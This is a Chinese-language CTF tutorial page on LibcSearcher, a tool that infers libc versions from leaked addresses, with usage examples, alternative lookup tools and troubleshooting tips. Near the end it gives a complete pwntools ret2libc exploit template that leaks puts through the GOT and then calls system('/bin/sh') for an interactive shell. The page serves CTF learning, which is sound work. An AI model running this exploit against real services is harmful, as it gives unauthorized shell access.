LibcSearcher
2026/5/29工具工具libcLibcSearcher大约 3 分钟
LibcSearcher
是什么
LibcSearcher 是根据泄露的 libc 函数地址低位特征,猜测 libc 版本的工具。
它适合早期或入门 ret2libc 题,但数据库可能不完整。公开比赛和真实环境中,更建议结合题目附件、Docker、libc.rip、libc-database 等方式确认。
安装与配置
python3 -m pip install LibcSearcher如果 pip 包不可用,可以使用仓库版本:
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python3 setup.py develop基本用法
from LibcSearcher import LibcSearcher
puts_leak = 0x7f1234567890
libc = LibcSearcher("puts", puts_leak)
libc_base = puts_leak - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
print(hex(libc_base), hex(system), hex(bin_sh))更多用法
多函数匹配
from LibcSearcher import LibcSearcher
libc = LibcSearcher("puts", puts_leak)
libc.add_condition("read", read_leak)
libc.add_condition("__libc_start_main", start_leak)
# 选择第一个匹配
libc = LibcSearcher("puts", puts_leak)获取所有匹配
from LibcSearcher import LibcSearcher
libc = LibcSearcher("puts", puts_leak)
# 遍历所有匹配
while True:
try:
libc_base = puts_leak - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
print(f"libc: {libc.name()}")
print(f"base: {hex(libc_base)}")
print(f"system: {hex(system)}")
print(f"/bin/sh: {hex(bin_sh)}")
print("---")
except:
break获取 libc 名称
libc = LibcSearcher("puts", puts_leak)
print(libc.name())列出可用符号
libc = LibcSearcher("puts", puts_leak)
print(libc.dump("system"))
print(libc.dump("str_bin_sh"))
print(libc.dump("read"))
print(libc.dump("write"))离线数据库
# LibcSearcher 使用本地数据库
# 数据库位置: LibcSearcher/libc-database/
# 更新数据库
cd LibcSearcher
git submodule update --init在线替代工具
libc.rip
import requests
def query_libc_rip(symbol, address):
"""查询 libc.rip"""
url = "https://libc.rip/api/find"
data = {
"symbols": {
symbol: hex(address)
}
}
response = requests.post(url, json=data)
return response.json()
# 使用
result = query_libc_rip("puts", puts_leak)
print(result)libc-database
# 克隆
git clone https://github.com/niklasb/libc-database.git
cd libc-database
# 搜索
./find puts 7f1234
./find system 4567
# 下载 libc
./download libc6_2.27-3ubuntu1_amd64使用 libc-database
import subprocess
def find_libc(symbol, address):
"""使用 libc-database 搜索"""
addr_hex = hex(address)[2:] # 去掉 0x
result = subprocess.run(
["./find", symbol, addr_hex],
capture_output=True, text=True,
cwd="libc-database"
)
return result.stdout.strip().split("\n")CTF常用技巧
泄露多个函数更稳
一个函数可能匹配多个 libc,两个或三个函数更可靠。
libc = LibcSearcher("puts", puts_leak)
libc.add_condition("read", read_leak)
libc.add_condition("__libc_start_main", start_leak)优先使用题目给的 libc
如果附件中已经有 libc.so.6,不要再猜。直接用:
libc = ELF("./libc.so.6")泄露值要处理完整
远程泄露常不足 8 字节,需要补齐:
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))完整利用模板
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF("./vuln")
p = process(elf.path)
# 泄露 puts 地址
payload = flat(b"A" * offset, pop_rdi, elf.got["puts"], elf.plt["puts"], elf.symbols["main"])
p.sendline(payload)
puts_leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# 搜索 libc
libc = LibcSearcher("puts", puts_leak)
libc_base = puts_leak - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
# 构造 payload
payload = flat(b"A" * offset, pop_rdi, bin_sh, system)
p.sendline(payload)
p.interactive()验证 libc 版本
# 从 libc 文件提取版本
strings libc.so.6 | grep "GNU C Library"
# 验证符号偏移
libc = ELF("./libc.so.6")
print(hex(libc.symbols["system"]))
print(hex(libc.symbols["puts"]))常见问题
匹配出多个 libc
再泄露一个函数,或者换 libc.rip / libc-database 查询。
本地算出的 system 远程不对
很可能 libc 版本猜错,或泄露地址解析错。
这个工具还推荐吗
可作为入门辅助,但不要过度依赖。真实解题更稳的办法是拿到远程 libc 或复现部署环境。
数据库不完整
1. 使用 libc.rip 在线查询
2. 使用 libc-database 本地查询
3. 使用题目提供的 libc
4. 使用 Docker 环境地址解析错误
1. 检查泄露值是否完整
2. 检查是否需要补齐字节
3. 检查字节序
4. 验证 libc 版本关联
- ELF、PLT、GOT与libc
- ROP基础
- pwntools
- patchelf
- one_gadget